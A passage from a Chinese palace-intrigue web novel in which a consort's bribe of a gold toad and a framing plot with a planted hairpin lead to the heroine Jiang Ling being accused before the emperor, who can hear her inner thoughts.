她拉过江舲的手,将金蟾放进去,轻轻合住,恳切地道:“江妹妹,我觉着,那些玉啊,字画啊,都不如金蟾实在。金蟾本身就是招财之物,图个吉利好兆头,并非是拿着俗物出来污蔑了江妹妹,还请江妹妹莫要嫌弃。江妹妹放心,我只求阿娘好好的,大哥大嫂能平平安安。” 金蟾冰凉,李婕妤的柔夷温软,纤细白皙的手指,指甲上涂着鲜红的蔻丹。她美貌的面庞上,此时笼罩着轻愁,楚楚可怜。饶是铁石心肠,也软了几分。 江舲却本能地防备,只她一时不知该如何说,语无伦次道:“不行不行,婕妤娘娘……” “江妹妹别与我客套了,都是后宫的姐妹,我的东西,便是江妹妹的。”李婕妤眼眸微转,握住江舲的手不放,将金蟾始终压在她的手心。 她靠过来,轻声道:“江妹妹,以前我也送过德妃娘娘。这只金蟾,就当做是见面礼,日后少不了再给江妹妹送来。” 江舲浑身一凛,听李婕妤的意思,金蟾是在上贡。以后她们就是一条船上的人,好处少不了,但花木之事,她也必须担待。 “江妹妹管事忙,我就不打扰江妹妹了,以后我再来找江妹妹说话。”李婕妤对着江舲颔首,转身离开。 江舲手上的金蟾,变得烫手起来。她懊恼不已,李婕妤一番唱念做打,动之以情晓之以理,许以重利,让她根本疲于应对,不知该如何拒绝。 赵德妃既然拿了李家的好处,赵氏缺钱,这份好处到了江舲手上,她如何能咽得下这口气。 还有林贵妃,柳贤妃赵嫔她们。谁都不是省油的灯。 “美人是在暖阁歇着,还是进屋去?”文涓与阿箬进来收拾杯盏,见江舲靠在窗棂上发呆,小心翼翼问道。 暖阁始终逼仄,江舲觉着压抑。她站起身,借着衣袖掩饰住金蟾,道:“收拾了吧。” 回到次间,江舲坐在榻上,芳荷提着小炉进来,倒了盏茶放在案几上,道:“奴婢去膳房,美人中午想要吃些什么?” 江舲意外了下,道:“难道能选菜式了?” 芳荷笑起来,道:“早前美人在歇息时,膳房那边来了人,说是膳房有新鲜的虾,美人可要一份虾仁馄饨。冬日新鲜的虾少,先要紧着美人这边。岂止是能选菜式,美人喜欢何种口味,不拘何时饿了,去膳房都能有吃食。” 膳房以前也能选菜式,不过要拿银子去换。捧高踩低到处都是,在后世也一样,不一定踩低,但稍微有点头脸的人,受到的待遇肯定不同。 江舲自嘲地笑了笑,如今,她已经算是后宫众人眼中的宠妃了。事已至此,躲避害怕皆无用。 “不要羊肉,肥肉,以鱼虾清淡的饭菜为主,随便取一些就是。”江舲道。 芳荷应下出去了,文涓收拾好了暖阁进屋,江舲拿出握得温热的金蟾:“你先去收起来。” 文涓震惊了下,她忙接过前去放好。锁好匣子出来,江舲对她道:“这是李婕妤先前硬塞给了我,花木那边有猫腻,李婕妤肯定有所图。” 先前只有李婕妤来过,文涓知道金蟾肯定是她送来。略微沉吟之后,道:“奴婢清楚美人的顾虑,美人管着尚寝局,婕妤娘娘是在拿钱财收买美人,让美人对花木上的事情睁一只眼闭一只眼。奴婢以前没入宫时,有邻人养花,一枝魏紫,姚黄的枝,都要五两银子!魏紫姚黄虽名贵,牡丹插枝不一定能成活,养到开花还要数年,一盆开花的姚黄魏紫,至少要三四百两银。宫中多用珍稀的花草,春夏时的牡丹,秋日的菊花,一年四季花木不断。端这庭院,每年春上都要换种不同的花木,年年挖来挖去折腾。一只金蟾,实属是算不得什么。奴婢以为,以美人如今的地位,属实是便宜了呢。” 江舲不清楚花木的具体价钱,只知皇宫花费不菲。她笑了下,道:“我如今什么地位,而后又是什么地位,谁能说得清楚。一朝跌落,今朝所做之事,就是以后的罪证。再说,我对花木之事睁一只眼闭一只眼,是让苑囿送进来的花木以次充好,数量对不上,不受宠嫔妃的那份,被克扣了去。” 她想到以前在撷芳阁时,院中的野菊花。她觉着累了,躺下来揉着疲惫的眉心,长长叹息:“文涓啊,金银宝贝人人都爱。只是,要拿得问心无愧,拿得安心。” 文涓怔了怔,忙着赔罪道:“是奴婢眼被猪油蒙了心,以为美人也如奴婢这般,见钱眼开。请美人莫要怪罪。” 江舲摆了摆手,她也并非那般正直高洁,现在她已经是宠妃,宠妃就要尽量少犯错,免得让人抓住把柄。 再说,她不想忘了来时路。自己一朝得势,马上抛却一同被忽视的同伴们,最终变成曾经讨厌的人。 “要是还回去,就得罪了婕妤娘娘,连着工部虞部的官员们一并得罪了。美人打算如何做?”文涓也没了主意,忧心忡忡问道。 江舲没有作答,她头晕沉沉,一时半会也想不到妥善的办法。 垂拱殿。 元明帝午歇起来,黄梁奉上茶,道:“皇上,李婕妤娘娘求见,在偏屋候着皇上好一阵了。” 下午无甚要紧之事,元明帝皱了皱眉,道:“宣。” 黄梁应是退出,没一阵,李婕妤进了殿。她上前见礼,元明帝抬手叫起,看到她红肿的眼眸,不由得一愣:“你这是怎地了?” 李婕妤努力挤出丝笑,喊了声皇上,眼眸又开始泛红,她垂下头,缓缓跪在地,叩首下去:“皇恩浩荡,皇上恩准大哥在虞部当差,大哥如今差使出了差错,辜负了皇上的厚爱,臣妾求皇上恕罪。” 元明帝眉头紧拧,不悦道:“你大哥犯了差错,与你何干?真是胡闹!” 李婕妤抬起身,拖着膝盖上前两步,侧首靠在元明帝腿上,依恋地轻轻摩挲。她闭上眼,晶莹的泪从眼角滑落。 “皇上待臣妾好,臣妾都知道。臣妾并非为了自己,乃是为了阿娘,阿娘跟前只得大哥孝顺,若大哥出了事,阿娘该如何办?” 元明帝低头看着李婕妤,神色渐渐变得复杂起来。工部虞部苑囿花木账目不清,他训斥了邢尚书,让他去查清楚。李婕妤怕她大哥受到惩罚,找他来哭诉求情了。 正值年节时,当以祥和为主。加之内藏库蔡万峰之事,牵扯出众多的内侍,官员,元明帝以稳定为首,只点到即止。 李婕妤貌美,温柔小意。她那双猫儿一般的眼眸,依偎着他时的眷念,勾得他心都化了。 “地上凉,你快起来。又不是甚大事,瞧你,都哭红了眼。”元明帝抬手抚上李婕妤的脸,柔声道。 李婕妤暗暗松了口气,就势起身,依靠元明帝坐着,抽噎了两声,道:“皇上,大哥若是犯了错,臣妾不敢替他辩解,皇上如何处置,都是他应得的。臣妾先前去找过了江妹妹,替大哥向江妹妹赔了不是。江妹妹管着尚寝局,让她难做,臣妾哪能当做不知。今年宫中花木不足,臣妾的翠微阁,就不用了,拿来让给其他的姐妹们。” 听到江舲,元明帝的神色淡了下来,不动声色问道:“江美人如何回应?” 李婕妤忙道:“臣妾前去坐了一会,兴许是江妹妹喜净,不大爱说话,她几乎什么话都没说。臣妾怕打扰到江妹妹,惹来她的不喜,就离开了。” 元明帝不由得嘴角扬了扬,暗自哼了声,心道那个混账,她并非不大爱说话。面上看似老实文静,实则聒噪,胡说八道废话连篇,又懒又凶! 不过,元明帝眼睛微眯,打量着柔顺依偎着他的李婕妤。她知冷知热,体贴他,崇敬他,爱恋他。 她内里究竟做何想,他听不到她真实的心声,一切皆无从得知。 其他嫔妃亦如此,对他是真情或是假意,所图为何,他皆分辨不清。 全后宫,只有江舲能让他一览无余,悉数掌控。 思及此,元明帝渐渐心生不喜。他抬起手,面无表情地推开了李婕妤:“朕还忙得很,你退下吧!” 李婕妤毫无防备,乍然被推得往旁边倒去。望着元明帝黑沉的脸色,心跟着一沉,不明白他为何突然翻脸。她咬着唇,斟酌了下,终是不敢再多言,忙屈膝施礼告退。 走出大殿,被寒风一吹,李婕妤打了个激灵,凝神仔细思索。 进殿之后,并未多言,元明帝也待她一如以前,宠爱有加。 除提到江舲时,元明帝似乎变了,特意关心她的反应。 李婕妤不由得拽紧了手,眼神冰冷下去。 怪不得她不肯收金蟾,她如今正得宠,区区金蟾,已经满足不了她。 指不定,她想借机闹大,吞下李家在虞部苑囿的差使!《 》 40-50 第41章 福庆宫。 赵德妃手上拿着银剪, 慢条斯理修剪着茶花。天气寒冷,茶花开得不易。原来小碗口大小的花朵,如今花瓣散开, 与酒盏大小无异。 黄嬷嬷拿了红铜手炉上前,关切道:“娘娘, 仔细冻着手,让奴婢来吧。” “哪就那般冷了, 闲着无事, 再坐着不动,身子都快散了架。”赵德妃闲闲道。 原本赵德妃管着尚寝与尚功两局, 交出尚寝局之后,不再如以前忙碌。她也极少出门, 只专心照看着萧允珏。 话虽如此, 赵德妃接过手炉,将银剪递给了黄嬷嬷,在一旁看着盆中被修剪齐整的山茶。 黄嬷嬷只剪了几片叶子, 道:“今年苑囿的花紧张, 瞧这花木, 也一年不如一年。去岁天气更为严寒, 花远比今年开得要好。” 苑囿种植花木的匠人, 皆精挑细选, 全是种植花木的好手。能一年不如一年,除去苑囿的花木, 并非原来的花木, 便是从根上开始不同。 赵德妃只轻笑了声,并未说话。 她早已看出苑囿的不对劲,当初毫不犹豫拿出尚寝局, 与之也有关系。 黄嬷嬷觑着赵德妃的神色,说道:“娘娘,老夫人前两天还递话进来,说是想念娘娘,二皇子,想来给娘娘请安。” 赵德妃柳眉紧皱,隐隐不悦道:“我早就与她说过,宫中朝堂皆不太平,他们该韬光养晦,莫要添乱!你让人回了她去,敢惹出乱子,休怪我撒手不管!” 见赵德妃动怒,黄嬷嬷赶忙应是,“娘娘息怒,老夫人也是关心着娘娘。” 方司灯死得蹊跷,赵德妃也不相信高才人会因为炭毒而亡。只她并无证据,每走一步皆要谨慎万分,以不变应万变。 想着娘家人的糊涂,赵德妃心中厌烦,不欲多提。 “娘娘,繁英阁那位,皇上待她真是不同。”黄嬷嬷迟疑了下,陪笑着道。 赵德妃伸手拨弄着花瓣,神色淡然,道:“黄嬷嬷,你瞧这花,无论春日或是寒冬开放,总归是花开一季。你可见着能开得长长久久的花?” 黄嬷嬷道也是,“奴婢担心着,那位要是有了身孕,只怕就不同了。” 赵德妃道:“有身孕又如何,养孩子哪那般容易。能顺顺当当怀到生产,生产后能顺顺当当长大,得靠祖上积德。” 妇人十月怀胎不易,生产时在鬼门关走一遭,婴儿多夭折,即便皇家也如此。 “太阳偏西了,再过一阵搬进屋去吧,这花矜贵着呢。”赵德妃望着天际的太阳,一边吩咐,一边朝屋内走去。 黄嬷嬷赶忙吩咐了下去,这时小宫女上前回禀道:“嬷嬷,李婕妤来找娘娘。” 赵德妃听到小宫女的话,脚步一顿,她笑了笑,道:“叫进来吧。” 黄嬷嬷赶忙推了推小宫女,“娘娘吩咐了,快去。” 小宫女匆匆去了门外,黄嬷嬷随着赵德妃进了回廊暖阁,添炭煮水。 李婕妤很快走了进来,屈膝盈盈见礼。两人已经好些时日不见,赵德妃一如既往地亲切,朝她招手道:“快过来坐。” 黄嬷嬷奉茶后招呼宫女退了出去,李婕妤坐在锦垫上,吃了口茶,道:“恐娘娘忙,我就没来打扰。还是娘娘这里舒适,就是茶都格外香甜。” 赵德妃笑道:“你这个贪嘴的,好似说得你那里连茶都没得吃一样。你要真是喜欢,我让人包一团茶饼,你且拿回去吃。” “还是娘娘大方,那我就不客气了。”李婕妤熟不拘礼,再抿了口茶,感慨道:“先前我去过繁英阁,吃了盏江美人那里的茶。茶盏是粉青釉杯,茶是龙凤团茶。我恍惚以为,是到了皇上跟前呢。” 元明帝喜吃龙凤团茶,用釉的器物,后宫中几乎无人不知。 在福庆宫,亦备着变釉杯盏,龙凤团茶。元明帝已有好些时日不曾来,茶盏都落了灰。 赵德妃喜欢白瓷,日铸青茶。青茶的先苦后甘,配着白瓷盏,一清二白,煞是好看。 听到李婕妤话中的挑拨,赵德妃不禁笑了笑,眼皮都未抬,专心吃着茶,只哦了声,“个人口味喜好不同罢了。” 李婕妤笑吟吟说是,眸色却沉了沉。她放下茶盏,解下腰间的荷包递上前,笑道:“我这里得了几颗南珠,成色皆上乘。南珠矜贵,惟有娘娘的国色天姿能配得上。” 赵德妃扬了扬眉,李婕妤与她一样,皆喜好珍珠,李婕妤这是见挑拨不成,忍痛拿出心头好来了。 荷包中的南珠,颗颗圆润,难得大小皆差不多,皆比拇指还要大些。 赵德妃将荷包放在案几上,依旧只微笑吃着茶,绝不多问。 李婕妤见状,咬了咬唇,心一横,道;“娘娘,我去过繁英阁,那边打定主意,连着苑囿一并夺了去。以前娘娘管着尚寝局时,从未出过纰漏。大哥经常感激不尽,我也一样,盼着娘娘继续管着尙寝局。” 赵德妃端着茶盏,好奇问道:“繁英阁要夺走苑囿?” “江美人的父亲出仕多年,依旧只是个小县令,娘家兄弟则连个功名都没考上。孙儿都已长大,儿子还没个正经差使,一大家子都靠着江父过活。江父已上了年岁,待他眼睛一闭,这一家子要如何过活。” 李婕妤目露轻蔑,道:“眼下繁英阁正得宠,娘家兄弟说不定能靠着他得个恩荫。江父升一升,到六部谋个郎中。这虞部的郎中,最合适不过。” 虽仅是猜测,李婕妤分析得有几分道理。苑囿出了纰漏,江舲正得宠,眼下是拉扯江家的大好时机。如果换做她,她肯定也会这般做。 不过,李婕妤太心急了。 赵德妃面上看不清任何的反应,只慢条斯理吃着茶,随意道:“前朝的事情,你我也管不着。” 赵氏缺银子,当贡品的笑话闹得人尽皆知。赵德妃得了她不少好处,现在却装出云淡风轻的派头! 李婕妤暗自咬了咬牙,眸中不甘阴狠闪过。赵德妃在宫中经营多年,知晓不少苑囿的底细。她顿了下,豁出去道:“大哥的差使与其给了江家,倒宁愿拿出六成来给娘娘。” 赵德妃缓缓放下了茶盏,似笑非笑道:“李婕妤与我说这些,我也爱莫能助啊。前朝的差使,要去问皇上才是。” 李婕妤僵了僵,垂眸片刻,道:“七成。这些年来,大哥没得几个银子,有一部分,娘娘定当知道去了何处。” 赵德妃脸上的笑淡了下去,她冷冷看着李婕妤,许久都没做声。 * 苑囿不知从何处寻来了花木,宫中各处摆满了水仙,瑞香腊梅等花,妆点得冬至喜庆又热闹。 元明帝冬至祭天大典,须得提前斋戒,沐浴更衣。忌荤腥,男女之事。 连着数日的劳累,元明帝终于能歇口气。待夜宴的筵席一散,径直来了繁英阁。 冬夜漫长,江舲用过晚饭后,在榻上百无聊赖坐了一会,看到案几上的年糕,顿时来了劲,道:“文涓,你将薰笼揭开,我们来烤年糕,分了吃正好散福。” 文涓笑着应下,道:“年糕容易积食,美人要少吃些。” 晚间江舲吃得多,此刻并不饿,道:“我不多吃,就是图个好玩。” 文涓取了架子,阿箬芳荷一并进了屋,几人守在薰笼前烤了起来,没多时,年糕噗呲冒出了泡,散发出阵阵的清香。 “要是抹一层蜜就更香甜了。”江舲遗憾地道。 她平时不吃甜,房中不曾备着蜜。阿箬自告奋勇要去膳房取,江舲拦住了她:“罢了,都这个时辰了,让膳房的人也歇一歇。” 繁英阁灯盏氤氲,元明帝走进抱厦,绕到回廊上,望着东屋窗棂上的灯火,脸上不知不觉浮起了笑意。他没让人通传,让黄梁一众随身内侍皆在外候着,独自来到次间门口。 听到江舲的话,元明帝不由得疑惑问道:““何事让膳房的人歇一歇?”” 江舲见是元明帝,眉头情不自禁一蹙,忙上前见礼:“皇上怎地来了?” “朕如何能不来?”元明帝瞪了她一眼,看着薰笼上的年糕,对文涓她们挥了挥手,“快些拿出去!” 文涓她们赶紧连着薰笼将年糕一并提了出去,江舲见即将到嘴的年糕飞了,暗骂道:“真是烦,大过节的跑来添堵!” 元明帝早预料到她要暗搓搓骂人,哼了声,道:“食饮有节,你已用过了晚膳,更不宜食年糕。” 江舲嘴上恭敬应是,心里直翻白眼:“要你说,我又不是傻子,吃饱了还硬塞。这么好为人爹,去你儿女那里当爹去!” 好心被当做驴肝肺,元明帝习以为常,并不生气。 这些天面对朝臣,使节,皇室宗亲时时,元明帝仿佛只认识他们的面孔,实则陌生无比。 久违地听到她的心声,能掌控一切的滋味,令他感到犹如盛夏吃冰雪凉水,浑身通泰。 “腊梅又皆做成香包了?”元明帝鼻翼翕动,见屋中不见花,好笑问道。 “是。”江舲干巴巴答道,心想:“他这么晚了跑来,司马昭之心路人皆知,偏偏还在这里东问西问,快去洗干净,睡了你我好睡觉!” 话虽粗鲁,却深得元明帝的意。他心头一阵发痒,勉强坐着吃了两口茶,咳了咳,面无表情道:“时辰不早,朕也累了,歇了吧。” 江舲嘴角微抽,悄然骂了句“装腔作势”,前去更洗。 元明帝洗得飞快,满含期待躺在床上等着,江舲走上脚踏板,他顾不得矜持,伸出手臂扯下床帐,顺势拉着江舲滚倒在床。 先前江舲没吃到年糕,虽非吃不可,但她很不高兴被说教。她没有动弹,打算体会一下元明帝临幸后妃的原始滋味。 元明帝察觉到江舲与之前的不同,一时很是失望。他忍了忍,到底脸皮不如她的厚,终是没有问出口。回忆着她曾拉着他做的那些,手忙脚乱一阵乱摸索。 “天老爷,又不是啃猪蹄子!”江舲实在忍受不了,一把将他拔起,领着他,照着她的快活路数来。 元明帝得她的点拨,渐入佳境。眼前花火闪过,偃旗息鼓。 江舲马上起身下床,站在脚踏上穿好里衣,屈膝施礼告退。 元明帝躺在那里,目光幽深望着江舲,错了错牙,待喘息平缓下来,前去净房更洗。 回到卧房,元明帝坐在床沿上,眉头一拧,心道她不在次间的榻上歇着,究竟歇在了何处? 元明帝沉吟了下,起身前去西屋,见她裹成一长条,躺在窄小的坐榻上,已经发出均匀的沉睡声。 “真是能睡!”元明帝一阵无语,见她一翻身就会滚下榻,又不由得心疼。 “起来,去床上睡。”元明帝上前,俯身在江舲耳边唤着她。 江舲耳朵发痒,她伸手挠了下,迷迷糊糊睁开眼。看到是元明帝,眉头控制不住地蹙起,撑着起身,含混道:“皇上找臣妾何事?” 元明帝瞪着她,道:“亏你不怕睡着了摔下来,快去床上睡。” “臣妾多谢皇上隆恩,照着规矩……”江舲克制住睡意来袭的烦躁,规矩说道。话还没说完,就被元明帝拉了起来。 “朕的话就是规矩!”元明帝没好气地打断了江舲,瞥了她一眼,暗中回骂了她一句装腔作势。 她竟有脸讲规矩,她就是天底下最最没规矩之人! 皇命不可违,江舲挣脱不得,只能在心里咆哮怒骂:“狗男人,烦死了,你不会滚回你的大龙床上去睡吗?” 连着几次之后,元明帝琢磨出了些况味。 以前他宠幸过嫔妃之后,她们都被遣走,不得留宿。 她看似守着规矩,实则所作所为与他一样。 元明帝打定主意,充耳不闻任由她骂。 身为九五之尊的帝王,岂能送上门让她快活过,再被她无情丢弃一边! 第42章 元明帝躺在外面, 江舲裹着被褥紧贴墙,中间躺下两人还绰绰有余。 “莫生气,生出病来无人替, 阿弥陀佛,阿门……” 元明帝听到她一阵胡乱嘀咕, 很快,她安静下来, 响起均匀的呼吸声。 自小到大, 元明帝从未与人同眠过。待那股与她置气的冲动散去,阵阵不适与陌生的情绪浮上心头。他不禁侧头看去, 昏暗的床帐内,她蜷曲着身子, 十足像是只胖蚕蛹。 他习得的礼仪规矩, 无论站姿坐姿,甚至是睡姿,皆要保证仪态举止端正, 斯文。 平时她在人前时, 尙能装一装, 规矩上让人挑不出任何的错处。私底下时, 她自在随意, 往榻上一摊便是一整天。 “睡相真差。”元明帝不由得失笑。 伴着她的安睡声, 不知她藏在何处,腊梅散发出的凛冽香气。本了无睡意的他, 情不自禁打了个呵欠, 倦意袭来,陷入了沉睡。 一夜好眠,黄梁前来叫起, 元明帝神情气爽醒来,侧头朝睡在里面的江舲看去。她拉起被褥盖住头,蠕动几下,便一动不动了。 早起心情愉悦,元明帝不欲听她骂人,示意黄梁他们莫要吵到她,去次间穿戴好衣衫。 洗漱后来到正屋,江舲已经起身,穿戴好屈膝见礼。元明帝惊讶不已,问道:“你怎地起来了?” “皇上日夜操劳,臣妾当起身伺候,规矩不可违。”江舲恭敬地答道。 元明帝掀起眼皮,上上下下仔细端详过去。见她低垂臻首,温婉柔顺,与他听到的她判若两人,忍笑道:“用膳吧。” 江舲应是,前去食案前坐下。元明帝记着她的脾气,不再去管她如何用膳,难得落了个清净。 饭后,内侍宫女撤下食案,奉上茶水。江舲朝屋中伺候的黄梁他们看去,神色欲言又止,心道:“这么多人在,明明理直气壮的事情,好像有心心虚呢。还是私底下说吧,毕竟他的小心肝,要是犯了他的忌,他一时下不来台,认为丢根本不存在的脸的话” 元明帝板着脸,懊恼不已。她规矩起床,虽不见她伺候,难得没在心里骂人。谁知她只坚持了一会,又开始胡说八道! 不过,瞧她左顾右盼鬼鬼祟祟的模样,元明帝实在看不下去,抬手斥退屋中伺候的内侍宫女,问道:“你有何事?” 江舲松了口气,道:“皇上,臣妾有事禀报,请皇上稍等片刻。” 元明帝点点头,江舲从文涓那里拿了锁匙,前去卧房匣子中取了金蟾出来,道:“皇上,这是李婕妤拿来送给臣妾的金蟾。” “李婕妤送你的?”元明帝一愣,接过金蟾掂了下,想到最近苑囿之事,脸色不大好看了。 “是,前几日李婕妤拿了金蟾来送给臣妾。臣妾不知李婕妤的用意,无功不受禄,金蟾太贵重,臣妾不敢收。可臣妾要是还回去,恐怕李婕妤会生气,认为臣妾看不上金蟾,看不起她,连礼都不肯收。臣妾思来想去,着实想不出妥善处置的法子,想求皇上替臣妾拿个主意,本想早些回禀皇上,这些日子皇上朝政繁忙,臣妾就耽搁到了现在。” 江舲没提李婕妤的用意,不欲冤枉了她,亦不愿自己被莫名其妙牵扯进去,最后背了锅。她并非清高,视钱财如粪土。 冬夜无聊时,金蟾数次被她取出来,暗搓搓摸了又摸。 将李婕妤送金蟾之事告诉元明帝,一来若是出事的话,她先提前将自己摘出来。二来她想要将金蟾过明路,据为己有。 元明帝垂眸看着金蟾,心里怒意翻滚。抬起眼,看到江舲不时飘向金蟾的模样,一时颇为无语。 思及她时常念叨着金银,若他拿走金蟾,她指定会生气。元明帝将金蟾递过去,道:“既已给你,你就拿着吧,朕知道了。” 江舲大喜,嘴角的笑容压都压不住,上前双手接过金蟾,真心实意地屈膝谢恩:“多谢皇上,臣妾却之不恭了。” 元明帝看到她高兴,不由得跟着笑起来,闲闲道:“金蟾手艺粗糙,除去宝石还值几个银子,金蟾顶多称得上金块而已。” “是,皇上教训得是,臣妾没见识,看不出手艺的好坏。”江舲顺极而流答道,心中却嘲讽不断:“只是金块而已,呔,好大的口气!你是皇帝,财大气粗,算你对。你看不上的金块,有本事能我几块吗?” 元明帝被编排,自不会给她金块。懒得听她的胡言乱语,起身离开。 回了金蟾之事,苑囿以及李婕妤再如何做,便与她无关了。 元明帝虽不曾表态,江舲也不追问,喜滋滋地回屋放好金蟾。躺在榻上,搂着软垫心满意足地睡回笼觉。 时日过得飞快,新年很快来临。一直要热闹到元宵过后,年才算过完。 礼仪规矩繁琐,虽无需做重活,只各种宫筵,让人连轴转。一天下来,累得浑身酸疼,只向躺着长睡不醒。 所幸过年平安无事,苑囿那边的花木不断,尚寝局秦尙宫得力,差使办得妥妥帖帖,江舲乐得做甩手掌柜,一切交由她去做。 待元宵之后,江舲得以松懈,翌日足足睡到近中午才起身。屋外春日太阳明媚,她对文涓道:“你把茶点搬到暖阁去,太阳好,多留几扇窗。” 文涓领命前去了,过了一会收拾好暖阁,前来请江舲出去。 风从窗棂外吹进来,不见冬日的刺骨,吹在身上仍然冰凉。文涓贴心,在暖阁中点了薰笼。坐在软垫上便不会觉着太冷。 江舲满意极了,望着满园的春光,一勺勺舀着杏酪吃起来。宫中的各式点心酥酪向来做得甜,膳房厨子照着她的口味,做了少甜的奉上。 文涓在小杌子上坐着煮茶,道:“美人先吃上半碗,过一阵奴婢前去取午膳。膳房那边来人说,今朝有了春笋,呈上来让美人尝尝鲜。” 听到春笋,江舲眼睛顿时一亮,道:“你去让膳房做油闷春笋。” 文涓道好,道:“奴婢让阿箬去。” “阿箬今朝荀休,你让芳荷去就是。”江舲说道。 文涓迟疑了下,道:“美人,芳荷最近经常抢着出去跑腿当差。奴婢担心,芳荷仗着美人得皇上看重,仗势欺人,给美人招来怨恨。” 江舲怔住,自嘲道:“原来繁英阁的人能仗我的势欺人了。你去让阿箬跑一趟吧,将芳荷叫来,我问问她。” 文涓前去找阿箬,芳荷来了暖阁,屈膝见礼,道:“美人找奴婢有何吩咐?” “坐吧。”江舲指了指小杌子道。 芳荷见她神色严肃,慢慢侧身在小杌子上坐下,手扭着衫裙,掩饰不住地紧张。 江舲不会拐弯抹角,径直道:“芳荷,无论是你,还是文涓阿箬,繁英阁任何一个内侍宫女,都严禁在外招摇,收受好处,许诺替他人办事。若是违反的话,我会不顾往日的情分,一律送到宫正司去!” 听到宫正司,芳荷不由得颤抖了下,脸色逐渐变得苍白。她垂头应了声,紧咬着唇,神情挣扎。 江舲看到她的反应,大感不妙,沉声道:“芳荷,你有何话说?你要是从实告知,说不定我还能放你一马。要是你隐瞒,被我查出来,休怪我不客气!” 芳荷一惊,立马抬起头,急着道:“美人,奴婢说,奴婢什么都说!”她起身在地上跪下,颤声道:“前些时日,翠微阁李婕妤身边的红叶,拿给了奴婢一只金镶步摇给奴婢,说是李婕妤送给美人。美人不好意思当面收下,让奴婢替美人收起来。奴婢将花钿放在木柜左侧的匣子中。奴婢不见美人戴,以为美人不喜戴步摇,便不曾多问。” 江舲嫌弃走路时步摇晃得人头晕,她极少佩戴。值钱的宝贝,江舲都锁了起来,锁匙由芳荷保管。 木柜左侧的匣子,江舲只放些不值钱的小玩意,平时极少打开。她冷冷看了芳荷一眼,蹭地起身,匆匆跑回屋。 芳荷慌乱不已,起身跟在了后面。文涓交代完阿箬回来,见状赶忙跟了进去,着急问道:“美人,出什么事了?” 江舲拿出木柜的匣子打开,从几只旧荷包中,翻出一只朱红的缂丝荷包。 荷包里,赫然放着一只梅花枝的金镶玉步摇。梅花花枝与梅花瓣皆用金做成,花蕊中镶嵌着绿得滴水的碧玉。 文涓看到步摇,霎时睁大眼,难以置信地道:“这只步摇,奴婢从未见过。如此贵重之物,怎地会放在这只匣子中?” 芳荷一脸的害怕,仓惶地道:“美人奴婢不曾告诉美人,奴婢当差不上心,请美人责罚。” 江舲气得手都在发抖,厉声道:“你收了红叶什么好处!说!” 芳荷嘴张了张,见江舲盛怒,腿一软噗通一声跪在地上,结结巴巴道:“红叶她她给了奴婢金一只金蝉做谢礼。” “去拿来!”江舲挥舞着手臂,怒道。 “是,奴婢这就去拿。”芳荷手忙脚乱爬起来往外跑去,文涓连忙跟着她,一道将金蝉拿了进来。 金蝉拇指般大小,蝉眼镶嵌着米粒大的琉璃,翅膀则是薄如蝉翼的金箔。金蝉应当是实心,拿在手中颇有分量。 “金蝉这般贵重,红叶拿来给你做谢礼,你其实心里有数,她让你做的事,肯定不对劲。你将步摇藏在匣子底下,不敢对我说,证实了你的心虚。” 江舲以前就骂过阿箬芳荷,她们太笨,做不了大事,更做不了坏人。在后宫想要出人头地,无异于痴人说梦。 元明帝称金蟾做工粗糙,蟾蜍又是吉祥招财之物,金子打造成金蟾的样式,算不得稀奇,寻常可见。 李婕妤难以证实金蟾是她所送,放有宫中徽记的步摇到她屋子,定当是要指正她收受好处。 只李婕妤估计也未曾料到,芳荷容易被收买,也容易被发现,一恐吓,便忙不迭招供了。 江舲面无表情,失望至极,缓缓道:“芳荷,以前在撷芳阁的时候,我就与你们说过,天上不会无缘无故掉馅饼。当时苏月给你与阿箬好处,被我查到,因为你们尚未造成什么后果,我放了你们一马。后来,我数次与你们耳提目命,要谨守自己的本分。你看我好说话,从没放在心上过。” 芳荷跪在地上,簌簌发抖,苦苦哀求道:“奴婢错了,是奴婢财迷心窍,求美人饶命啊!红叶拿了步摇给美人,奴婢以为美人白得一只步摇,奴婢脑子笨,想不到那么多,美人饶了奴婢这次吧!” 江舲看着巧夺天工的金蟾,心里说不出的滋味。 芳荷心心念念着钱财,拿到金蝉时,估计与她拿到金蟾时的心情一样。 砍头抄家都挡不住贪官污吏,江舲不敢高估自己的意志力,李婕妤当时多拿几只金蟾,她估计真就被收买了。 一只金蝉,足够芳荷这些年在宫中当差,千辛万苦积攒下的月例。 江舲闭了闭眼,狠下心道:“芳荷,你若有能在柳树巷挺过去,我想法子放你出宫。你在宫中积攒下来的东西,连着金蝉,你都一并带走。要是你挺不过去,那是你自找的,是你该承受的代价!” 芳荷惊惧之下,眼睛一翻白,软软一下瘫倒在地。 江舲看得难受,怕自己心软,对默默立在一边的文涓道:“你去找宋宫正来。” 文涓从怔松中回过神,赶忙应是。走到屋外,垂拱殿那边的内侍一头汗水,急匆匆赶来,急着拦住她:“你别走!皇上有旨,立即传江美人以及伺候的宫女,一并前去御前问话!” 第43章 江舲听了文涓回禀, 大感不妙。她顾不上芳荷,带上步摇,金蟾与金蝉, 与文涓阿箬芳荷几人,来到文德殿。 殿中气氛凝重, 除去元明帝,林贵妃柳贤妃赵德妃以及李婕妤都在。李婕妤立在殿中央, 螓首低垂, 脸上泪痕犹在。 江舲下意识屏声静气,文涓几人跟在她身后, 上前屈膝请安。 元明帝看着江舲,见她面无表情, 一副隐忍克制地模样, 他不禁抬手抚摸了下鼻尖,道:“江美人,朕让你管着尚寝局花木之事, 你却借机向李婕妤索要钱财, 中饱私囊, 可有此事?” “回皇上, 臣妾冤枉。”江舲想都不想, 坚决地否认:“李婕妤是在污蔑, 撒谎!” 李婕妤抬头看向江舲,一双猫儿眼中的泪泫然欲滴。她拿帕子蘸着眼角, 委屈万分地道:“江妹妹, 我送给你金蟾,你尤为不满意。金镶玉步摇是皇上所赐,向来是我最心爱之物。你看上了, 我只能忍痛割爱,惟求着你能放过李家。可惜,我想错了,江妹妹心气高,只金蟾,步摇,照样入不了江妹妹的眼。江妹妹,你称我撒谎,江妹妹可敢让人去搜,看我的步摇,可是江妹妹拿了去?” 江舲听得头疼,先前因为芳荷之事,本就出离愤怒。她着实忍不住了,拿出装着步摇的荷包,朝李婕妤面前一扔。 “我从来不戴步摇,因为觉着晃得人头晕。我看不上你的步摇,更看不上你!” “江妹妹,你……”李婕妤捡起荷包,像是受了天大的侮辱。她哽咽难言,楚楚可怜看了眼元明帝,拿帕子捂住脸,伤心流泪起来。 “步摇是如何到了我手上,你故意不提,那就让我来说。”江舲拿出金蝉,生气地将红叶让芳荷偷放步摇之事说了。 李婕妤哭着道:“皇上,臣妾不知金蝉从何而来,更不曾吩咐红叶做这些。臣妾冤枉,请皇上明查!” 